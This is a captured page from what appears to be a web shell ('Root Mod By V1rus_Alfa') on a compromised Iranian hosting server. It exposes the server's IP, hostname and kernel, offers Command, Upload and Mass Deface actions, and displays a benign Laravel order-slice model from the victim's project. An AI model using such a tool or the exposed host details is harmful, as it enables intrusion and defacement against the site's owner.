���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
portal-cutunix
/
modules
/
Project
/
Models
/
Viewing: OrderSlice.php
<?php namespace Modules\Project\Models; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; class OrderSlice extends Model { protected $fillable = [ 'length_one', 'length_two', 'width_one', 'width_two', 'width', 'height', 'count', 'rotatable', 'description', 'user_id', 'order_id', 'label', 'order_group_id', ]; protected $casts = [ 'rotatable' => 'boolean', ]; protected function casts(): array { return [ 'rotatable' => 'boolean', ]; } // نوار public const PVC_STRIP = '1'; // برش فارسی public const CUTTING_45DEG = '2'; // شیار public const GROOVE = '3'; public function order() { return $this->belongsTo(Order::class, 'order_id'); } public function getTotalCountOfThisSliceInTable() { return OrderSlice::where('height', $this->height)->where('width', $this->width)->count(); } public function getCountOfOrdersThatCountainSliceWithOwnSize() { return Order::with('slices')->whereHas('slices', function ($query) { $query->where('width', $this->width)->where('height', $this->height); })->get()->count(); } // خدمات تکه: فارسی، شیار (نیاز به نوشتن نوار نیست) public function getSliceEdgeServices() { $result = []; if ($this->length_one == self::CUTTING_45DEG && $this->length_two == self::CUTTING_45DEG) $result[] = "(2ط.ف)"; if ($this->length_one == self::CUTTING_45DEG && $this->length_two != self::CUTTING_45DEG) $result[] = "(1ط.ف)"; if ($this->length_one != self::CUTTING_45DEG && $this->length_two == self::CUTTING_45DEG) $result[] = "(1ط.ف)"; if ($this->width_one == self::CUTTING_45DEG && $this->width_two == self::CUTTING_45DEG) $result[] = "(2ع.ف)"; if ($this->width_one == self::CUTTING_45DEG && $this->width_two != self::CUTTING_45DEG) $result[] = "(1ع.ف)"; if ($this->width_one != self::CUTTING_45DEG && $this->width_two == self::CUTTING_45DEG) $result[] = "(1ع.ف)"; if ($this->length_one == self::GROOVE && $this->length_two == self::GROOVE) $result[] = "(2ط.ش)"; if ($this->length_one == self::GROOVE && $this->length_two != self::GROOVE) $result[] = "(1ط.ش)"; if ($this->length_one != self::GROOVE && $this->length_two == self::GROOVE) $result[] = "(1ط.ش)"; if ($this->width_one == self::GROOVE && $this->width_two == self::GROOVE) $result[] = "(2ع.ش)"; if ($this->width_one == self::GROOVE && $this->width_two != self::GROOVE) $result[] = "(1ع.ش)"; if ($this->width_one != self::GROOVE && $this->width_two == self::GROOVE) $result[] = "(1ع.ش)"; return implode(" ", $result); } public function sheet() { return $this->belongsTo(OrderGroup::class, 'order_group_id'); } public function group() { return $this->belongsTo(OrderGroup::class, 'order_group_id'); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa